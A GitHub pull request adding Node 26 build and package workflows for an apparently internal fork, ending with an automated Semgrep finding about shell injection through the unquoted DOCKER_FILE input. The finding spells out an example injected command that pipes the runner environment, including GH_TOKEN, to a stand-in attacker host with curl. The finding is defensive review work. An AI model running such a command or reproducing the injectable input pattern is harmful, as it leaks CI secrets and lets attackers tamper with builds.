Repository navigation
Node 26.12.1 build (RHEL 8 toolchain) for post-Fiber Elimination LunaServer #31
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
Show all changes
7 commits
Select commit
Hold shift + click to select a range
83ef130
build: add Asana Node 26 builds with pointer compression
jrsells 777356f
build: pin @datadog/pprof 5.15.1 for pointer-compressed Node 26
jrsells 4d7a6b2
build: build Asana Node 26 as a position-independent executable
jrsells c49a63b
build: build the FIPS workflow's own branch by default
jrsells faa4441
build: pin Node 26's base image and Rust, and correct its requirements
jrsells 5db6972
build: drop the packages workflow's workflow_run trigger
jrsells 914bced
build: check LunaServer's navigator, webstorage and NODE_OPTIONS flags
jrsells File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,108 @@ | ||
| name: Build Node (FIPS) | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
| inputs: | ||
| BUILD_REF: | ||
| description: 'Git ref to build Node.js from (defaults to the branch the workflow runs from)' | ||
| required: false | ||
| default: '' | ||
| type: string | ||
| DOCKER_FILE: | ||
| description: 'Dockerfile to use for building Node.js' | ||
| required: true | ||
| default: 'Dockerfile.Node26fips' | ||
| type: string | ||
|
|
||
| permissions: | ||
| contents: write | ||
|
|
||
| jobs: | ||
| build-node: | ||
| name: Build ${{ matrix.platform }}-${{ matrix.arch }} with FIPS OpenSSL | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| include: | ||
| - platform: linux | ||
| arch: x64 | ||
| runs_on: ubuntu-22.04 | ||
| - platform: linux | ||
| arch: arm64 | ||
| runs_on: ubuntu-22.04-arm | ||
| runs-on: ${{ matrix.runs_on }} | ||
|
|
||
| env: | ||
| REPO: ${{ github.repository }} | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| steps: | ||
| - name: Checkout Node fork | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| path: node | ||
| ref: ${{ inputs.BUILD_REF || github.ref_name }} | ||
|
|
||
| - name: Extract Node Version | ||
| run: | | ||
| NODE_MAJOR_VERSION=$(grep '#define NODE_MAJOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_MINOR_VERSION=$(grep '#define NODE_MINOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_PATCH_VERSION=$(grep '#define NODE_PATCH_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| echo "NODE_VERSION=v${NODE_MAJOR_VERSION}.${NODE_MINOR_VERSION}.${NODE_PATCH_VERSION}" >> $GITHUB_ENV | ||
|
|
||
| - name: Set build metadata | ||
| id: meta | ||
| working-directory: node | ||
| run: | | ||
| TIMESTAMP=$(date -u +%Y-%m-%dT%H-%M) | ||
| SHORT_SHA=$(git rev-parse --short HEAD) | ||
| echo "BUILD_SHA=$(git rev-parse HEAD)" >> $GITHUB_ENV | ||
| echo "build_id=${TIMESTAMP}-${SHORT_SHA}" >> $GITHUB_OUTPUT | ||
|
|
||
| - name: Execute the Dockerfile | ||
| working-directory: node | ||
| run: | | ||
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | ||
|
|
||
| - name: Extract resources | ||
| run: | | ||
| docker create --name temp_node_extract node_fips_build | ||
| docker cp temp_node_extract:/usr/src/node/node-install $GITHUB_WORKSPACE/node-install | ||
| docker rm temp_node_extract | ||
|
|
||
| - name: Verify build | ||
| run: | | ||
| bash node/asana-verify-build.sh node-install --fips | ||
|
|
||
| - name: Archive Node | ||
| run: | | ||
| mkdir -p artifacts | ||
| FILENAME=node-${NODE_VERSION}-fips-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }}.tar.xz | ||
| FILENAME_LATEST=node-${NODE_VERSION}-fips-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz | ||
| tar -C node-install -cJf artifacts/$FILENAME . | ||
| cp artifacts/$FILENAME artifacts/$FILENAME_LATEST | ||
| echo "NODE_ARCHIVE=$FILENAME" >> $GITHUB_ENV | ||
| echo "NODE_ARCHIVE_LATEST=$FILENAME_LATEST" >> $GITHUB_ENV | ||
|
|
||
| - name: Upload Node archive | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-fips-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }} | ||
| path: artifacts/${{ env.NODE_ARCHIVE }} | ||
|
|
||
| - name: Upload Node archive latest | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-fips-${{ matrix.platform }}-${{ matrix.arch }}-LATEST | ||
| path: artifacts/${{ env.NODE_ARCHIVE_LATEST }} | ||
|
|
||
| - name: Upload Node archive to release | ||
| run: | | ||
| TAG="node-${NODE_VERSION}-fips-release" | ||
| RELEASE_NAME="node-${NODE_VERSION}-fips-LATEST" | ||
| if ! gh release view "$TAG" --repo "$REPO" >/dev/null 2>&1; then | ||
| gh release create "$TAG" --title "$RELEASE_NAME" --notes "" --target "$BUILD_SHA" --repo "$REPO" \ | ||
| || gh release view "$TAG" --repo "$REPO" >/dev/null | ||
| fi | ||
| gh release upload "$TAG" "artifacts/${NODE_ARCHIVE_LATEST}" --clobber --repo "$REPO" | ||
| gh release edit "$TAG" --title "$RELEASE_NAME" --repo "$REPO" | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,145 @@ | ||
| name: Build Node-Packages | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
| inputs: | ||
| NODE_REF: | ||
| description: 'Branch with the Node source and Dockerfile.Packages (defaults to the ref the workflow runs from)' | ||
| required: false | ||
| default: '' | ||
| type: string | ||
|
|
||
| jobs: | ||
| build-packages: | ||
| permissions: | ||
| id-token: write | ||
| contents: write | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| include: | ||
| - platform: linux | ||
| arch: x64 | ||
| bazel_arch: amd64 | ||
| runs_on: ubuntu-22.04 | ||
| - platform: linux | ||
| arch: arm64 | ||
| bazel_arch: arm64 | ||
| runs_on: ubuntu-22.04-arm | ||
| runs-on: ${{ matrix.runs_on }} | ||
|
|
||
| env: | ||
| PLATFORM: ${{ matrix.platform }} | ||
| ARCH: ${{ matrix.arch }} | ||
| BAZEL_ARCH: ${{ matrix.bazel_arch }} | ||
| REPO: ${{ github.repository }} | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| steps: | ||
| # The workflow YAML runs from whichever ref triggered it (main for a workflow_dispatch | ||
| # that should upload to S3); that's what the OIDC subject claim binds to, and it's how | ||
| # the IAM role's ref_patterns gate works. `ref:` here only controls which tree gets | ||
| # checked out into $GITHUB_WORKSPACE. | ||
| - name: Checkout repository | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| ref: ${{ inputs.NODE_REF || github.ref_name }} | ||
|
|
||
| - name: Extract Node Version | ||
| run: | | ||
| NODE_MAJOR_VERSION=$(grep '#define NODE_MAJOR_VERSION' src/node_version.h | awk '{print $3}') | ||
| NODE_MINOR_VERSION=$(grep '#define NODE_MINOR_VERSION' src/node_version.h | awk '{print $3}') | ||
| NODE_PATCH_VERSION=$(grep '#define NODE_PATCH_VERSION' src/node_version.h | awk '{print $3}') | ||
| echo "NODE_VERSION=v${NODE_MAJOR_VERSION}.${NODE_MINOR_VERSION}.${NODE_PATCH_VERSION}" >> $GITHUB_ENV | ||
|
|
||
| - name: Download Node archive | ||
| run: | | ||
| ASSET="node-${NODE_VERSION}-${PLATFORM}-${ARCH}-LATEST.tar.xz" | ||
| gh release download "node-${NODE_VERSION}-release" \ | ||
| --repo "$REPO" \ | ||
| --pattern "$ASSET" | ||
| mv "$ASSET" node.tar.xz | ||
|
|
||
| - name: Execute the Dockerfile | ||
| run: | | ||
| docker build -t node_packages_build -f Dockerfile.Packages . | ||
|
|
||
| - name: Extract resources | ||
| run: | | ||
| docker create --name temp_node_packages_extract node_packages_build | ||
| docker cp temp_node_packages_extract:/usr/src/node/node_modules $GITHUB_WORKSPACE/node_modules | ||
| docker rm temp_node_packages_extract | ||
|
|
||
| - name: Tar node-packages | ||
| run: | | ||
| # Lay each package out as its rules_js store directory: <name with / as +>@<version>. | ||
| version_of() { sed -n "s/^ARG $1=//p" Dockerfile.Packages; } | ||
| DIRS=() | ||
| for spec in "bcrypt BCRYPT_VERSION" "cld CLD_VERSION" "unix-dgram UNIX_DGRAM_VERSION" "@datadog/pprof PPROF_VERSION"; do | ||
| set -- $spec | ||
| name=$1 | ||
| version=$(version_of "$2") | ||
| dir="${name//\//+}@${version}" | ||
| mkdir -p "$dir/node_modules/$(dirname "$name")" | ||
| mv "node_modules/$name" "$dir/node_modules/$name" | ||
| DIRS+=("$dir") | ||
| done | ||
| tar --hard-dereference -cvzf "packages_${ARCH}.tar.gz" "${DIRS[@]}" | ||
|
|
||
| - name: Upload archive to release | ||
| run: | | ||
| gh release upload "node-${NODE_VERSION}-release" \ | ||
| "packages_${ARCH}.tar.gz" \ | ||
| --clobber \ | ||
| --repo "$REPO" | ||
|
|
||
| # S3 upload is restricted to the protected main branch only. The IAM role | ||
| # (push_node_gyp_packages) trusts only refs/heads/main via OIDC, and main's copy of this | ||
| # workflow builds Node 22's packages. When running from this branch, stage the release's | ||
| # packages_*.tar.gz with stage_for_s3.bash and upload them by hand. | ||
| - name: Configure AWS credentials | ||
| if: github.ref == 'refs/heads/main' | ||
| uses: aws-actions/configure-aws-credentials@v4 | ||
| with: | ||
| aws-region: us-east-1 | ||
| role-to-assume: arn:aws:iam::403483446840:role/autogen_github_actions_beta_push_node_gyp_packages | ||
|
|
||
| - name: Upload packages to S3 | ||
| if: github.ref == 'refs/heads/main' | ||
| run: | | ||
| # No --acl public-read: the bucket has BucketOwnerEnforced | ||
| # (disable_confusing_acls = true), which disables ACLs entirely. | ||
| # Reads come via CloudFront OAC. | ||
| NODE_MAJOR=$(echo "$NODE_VERSION" | sed 's/^v//' | cut -d. -f1) | ||
| SHA256=$(sha256sum "packages_${ARCH}.tar.gz" | awk '{print $1}') | ||
| SHORT_HASH=${SHA256:0:8} | ||
| S3_KEY="node-gyp/packages_${BAZEL_ARCH}_node${NODE_MAJOR}-${SHORT_HASH}.tar.gz" | ||
| echo "Uploading packages_${ARCH}.tar.gz to s3://asana-oss-cache/$S3_KEY" | ||
| aws s3 cp "packages_${ARCH}.tar.gz" "s3://asana-oss-cache/$S3_KEY" | ||
| { | ||
| echo "S3_KEY=$S3_KEY" | ||
| echo "SHA256=$SHA256" | ||
| echo "NODE_MAJOR=$NODE_MAJOR" | ||
| } >> "$GITHUB_ENV" | ||
|
|
||
| - name: Verify upload is reachable via CloudFront | ||
| if: github.ref == 'refs/heads/main' | ||
| run: | | ||
| # Mac Bazel builds rewrite asana-oss-cache.s3.us-east-1.amazonaws.com/* | ||
| # to asana-oss-cache.asana.biz/* (CloudFront). If the S3 key prefix isn't | ||
| # allowlisted in CloudFront's path_patterns, Bazel fetches will 403. | ||
| URL="https://asana-oss-cache.asana.biz/$S3_KEY" | ||
| echo "Checking $URL" | ||
| if ! curl -fsSI "$URL"; then | ||
| echo "CloudFront returned an error for $URL. Check path_patterns in system_packages.tf." | ||
| exit 1 | ||
| fi | ||
|
|
||
| - name: Print tools_repositories.bzl stanza | ||
| if: github.ref == 'refs/heads/main' | ||
| run: | | ||
| echo "" | ||
| echo "=== Update tools_repositories.bzl in codez ===" | ||
| echo " name = \"node_gyp_packages_${BAZEL_ARCH}_node${NODE_MAJOR}\"," | ||
| echo " urls = [\"https://asana-oss-cache.s3.us-east-1.amazonaws.com/$S3_KEY\"]," | ||
| echo " sha256 = \"$SHA256\"," |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,98 @@ | ||
| name: Build Node (Standard) | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
|
|
||
| permissions: | ||
| contents: write | ||
|
|
||
| jobs: | ||
| build-node: | ||
| name: Build ${{ matrix.platform }}-${{ matrix.arch }} | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| include: | ||
| - platform: linux | ||
| arch: x64 | ||
| runs_on: ubuntu-22.04 | ||
| - platform: linux | ||
| arch: arm64 | ||
| runs_on: ubuntu-22.04-arm | ||
| runs-on: ${{ matrix.runs_on }} | ||
|
|
||
| env: | ||
| REPO: ${{ github.repository }} | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| steps: | ||
| - name: Checkout Node fork | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| path: node | ||
| ref: ${{ github.ref_name }} | ||
|
|
||
| - name: Extract Node Version | ||
| run: | | ||
| NODE_MAJOR_VERSION=$(grep '#define NODE_MAJOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_MINOR_VERSION=$(grep '#define NODE_MINOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_PATCH_VERSION=$(grep '#define NODE_PATCH_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| echo "NODE_MAJOR_VERSION=${NODE_MAJOR_VERSION}" >> $GITHUB_ENV | ||
| echo "NODE_VERSION=v${NODE_MAJOR_VERSION}.${NODE_MINOR_VERSION}.${NODE_PATCH_VERSION}" >> $GITHUB_ENV | ||
|
|
||
| - name: Set build metadata | ||
| id: meta | ||
| working-directory: node | ||
| run: | | ||
| TIMESTAMP=$(date -u +%Y-%m-%dT%H-%M) | ||
| SHORT_SHA=$(git rev-parse --short HEAD) | ||
| echo "BUILD_SHA=$(git rev-parse HEAD)" >> $GITHUB_ENV | ||
| echo "build_id=${TIMESTAMP}-${SHORT_SHA}" >> $GITHUB_OUTPUT | ||
|
|
||
| - name: Execute the Dockerfile | ||
| working-directory: node | ||
| run: | | ||
| docker build -t node_build -f ./Dockerfile.Node${NODE_MAJOR_VERSION} . | ||
|
|
||
| - name: Extract resources | ||
| run: | | ||
| docker create --name temp_node_extract node_build | ||
| docker cp temp_node_extract:/usr/src/node/node-install $GITHUB_WORKSPACE/node-install | ||
| docker rm temp_node_extract | ||
|
|
||
| - name: Verify build | ||
| run: | | ||
| bash node/asana-verify-build.sh node-install | ||
|
|
||
| - name: Archive Node | ||
| run: | | ||
| mkdir -p artifacts | ||
| FILENAME=node-${NODE_VERSION}-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }}.tar.xz | ||
| FILENAME_LATEST=node-${NODE_VERSION}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz | ||
| tar -C node-install -cJf artifacts/$FILENAME . | ||
| cp artifacts/$FILENAME artifacts/$FILENAME_LATEST | ||
| echo "NODE_ARCHIVE=$FILENAME" >> $GITHUB_ENV | ||
| echo "NODE_ARCHIVE_LATEST=$FILENAME_LATEST" >> $GITHUB_ENV | ||
|
|
||
| - name: Upload Node archive | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }} | ||
| path: artifacts/${{ env.NODE_ARCHIVE }} | ||
|
|
||
| - name: Upload Node archive latest | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST | ||
| path: artifacts/${{ env.NODE_ARCHIVE_LATEST }} | ||
|
|
||
| - name: Upload Node archive to release | ||
| run: | | ||
| TAG="node-${NODE_VERSION}-release" | ||
| RELEASE_NAME="node-${NODE_VERSION}-LATEST" | ||
| if ! gh release view "$TAG" --repo "$REPO" >/dev/null 2>&1; then | ||
| gh release create "$TAG" --title "$RELEASE_NAME" --notes "" --target "$BUILD_SHA" --repo "$REPO" \ | ||
| || gh release view "$TAG" --repo "$REPO" >/dev/null | ||
| fi | ||
| gh release upload "$TAG" "artifacts/${NODE_ARCHIVE_LATEST}" --clobber --repo "$REPO" | ||
| gh release edit "$TAG" --title "$RELEASE_NAME" --repo "$REPO" |
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟠 High severity blocking issue identified in your code:
The untrusted
inputs.DOCKER_FILEvalue is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrateGH_TOKENor modify build artifacts.More details about this
inputs.DOCKER_FILEis interpolated directly into the shell script that runsdocker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.For example, a malicious input such as:
turns the step into commands equivalent to:
docker build -t node_fips_build -f ./Dockerfile env | curl -X POST --data-binary @- https://attacker.example/collectThe injected command executes on the GitHub runner with the workflow environment, including
GH_TOKENfromsecrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived byUpload Node archive.To resolve this comment:
✨ Commit fix suggestion
View step-by-step instructions
env:block instead of interpolating it directly in the shell script:working-directory: nodesetting so the Dockerfile path remains relative to the checked-out Node source. Quoting"$DOCKER_FILE"prevents input characters from being interpreted as shell syntax.💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Please reach out to Security (go/sec-inbox) if you need help with this.
You can view more details about this finding in the Semgrep AppSec Platform.